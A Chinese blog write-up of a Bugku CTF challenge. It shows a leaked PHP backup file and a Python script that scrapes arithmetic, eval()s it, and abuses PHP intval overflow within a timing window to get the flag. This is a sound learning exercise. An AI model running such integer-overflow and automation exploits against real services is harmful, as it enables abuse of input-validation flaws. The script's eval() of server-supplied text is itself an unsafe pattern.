W2_小绿草之最强大脑_bugku
打开来是一个数学计算,看眼源码,发现有个这个
<!--源码泄露了解一下?-->
大概猜到是有个index.php.bak备份文件暴露给用户了,不知道也没关系,直接dirsearch也可以扫描到
查看文件
点击查看代码
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
session_destroy();
echo '
<script language="javascript">
alert("怎么没算对呢?");
window.history.back(-1); </script>';
}
else{
if(intval(time())-$_SESSION['time']<1){
session_destroy();
echo '
<script language="javascript">
alert("你手速太快啦,服务器承受不住!!!");
window.history.back(-1); </script> ';
}
if(intval(time())-$_SESSION['time']>2){
session_destroy();
echo '
<script language="javascript">
alert("你算的太慢了少年!");
window.history.back(-1); </script> ';
}
echo '
<script language="javascript">
alert("tql,算对了!!");
</script> ';
$_SESSION['count']++;
}
}
?>
点击查看代码
import re
import requests
import time
url="http://49.232.142.230:17047/"
res=requests.session()
response = res.get(url)
time.sleep(1)
while True:
math=""
text=response.text
pattern=re.compile(r'<div style="display:inline;">(\S)</div>')
reslist=re.findall(pattern,text)
math=''.join(reslist).strip('=')
num=eval(math)+9223372036854775807
mydata={
'ans':num,
'input':"99999999999999999999999999999999999999999999"
}
response=res.post(url,data=mydata)
print(response.text)
time.sleep(1)
if "ctf{" in response.text:
break
因为是连续会话,所以要用session(ps:第一次用,学到了:D
算式匹配主要用的是正则,转str然后eval求值
本文来自博客园,作者:HexCat,转载请注明原文链接:https://www.cnblogs.com/h3xcat/articles/19654323

浙公网安备 33010602011771号